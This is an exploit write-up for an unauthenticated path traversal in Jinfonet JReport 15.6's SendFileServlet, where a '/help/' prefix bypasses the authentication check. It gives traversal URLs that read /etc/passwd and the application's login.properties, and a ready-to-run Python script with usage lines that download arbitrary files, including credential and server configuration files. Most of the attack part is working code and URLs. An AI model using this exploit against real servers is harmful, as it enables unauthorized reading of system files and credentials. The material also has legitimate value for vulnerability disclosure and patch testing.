Jinfornet Jreport 15.6 Directory Traversal

`# Exploit Title: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal  
# Date: 2020-03-26  
# Exploit Author: hongphukt  
# Vendor Homepage: https://www.jinfonet.com/  
# Software Link: https://www.jinfonet.com/product/download-jreport/  
# Version: JReport 15.6  
# Tested on: Linux, Windows   
  
Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems.  
Technical Details  
  
Jreport before loggedin have help function with url:  
  
https://serverip/jreport/sendfile/help/userguide/server/index.htm  
  
senfile url processing by jet.server.servlets.SendFileServlet class.  
  
<servlet>  
  
<servlet-name>sendfile</servlet-name>  
  
<servlet-class>jet.server.servlets.SendFileServlet</servlet-class>  
  
</servlet>  
  
<servlet-mapping>  
  
<servlet-name>sendfile</servlet-name>  
  
<url-pattern>/sendfile/*</url-pattern>  
  
</servlet-mapping>  
  
  
  
In jet.server.servlets.SendFileServlet class, request will go on when it’s authenticated or start url by ‘/help/’  
  
if ((!isAuthentic) &&  
  
(!path.startsWith("/help/")))  
  
{  
  
httpRptServer.getHttpUserSessionManager().sendUnauthorizedResponse(req, res, this.D, httpRptServer.getResourceManager().getRealm());  
  
return;  
  
}  
  
  
  
So the function reading file without any path validation  
  
Exploit:  
  
Get login properties, /etc/password file by get url:  
  
http://jreport.test/jreport/sendfile/help/../bin/login.properties  
  
http://jreport.test/jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd  
  
# Exploit Code  
  
import requests  
import argparse  
  
def exploit(url, file):  
  
session = requests.Session()  
rawBody = "\r\n"  
response = session.get("{}/jreport/sendfile/help/{}".format(url,file), data=rawBody)  
  
if response.status_code == 404:  
print("The '{}' file was not found.".format(file))   
else:  
print("-" *22)  
print(response.content)  
print("-" *22)  
  
if __name__ == "__main__":  
  
parser = argparse.ArgumentParser(description='Jreport Path traversal & Arbitrary File Download')  
parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')  
parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')  
args = parser.parse_args()  
  
exploit(args.url, args.file)  
  
# python jreport_fileread.py -u http://jreport.address -f "../../../../../../../../../../../../../../etc/passwd/"  
# python jreport_fileread.py -u http://jreport.address -f "../bin/login.properties"  
# python jreport_fileread.py -u http://jreport.address -f "../bin/server.properties"  
`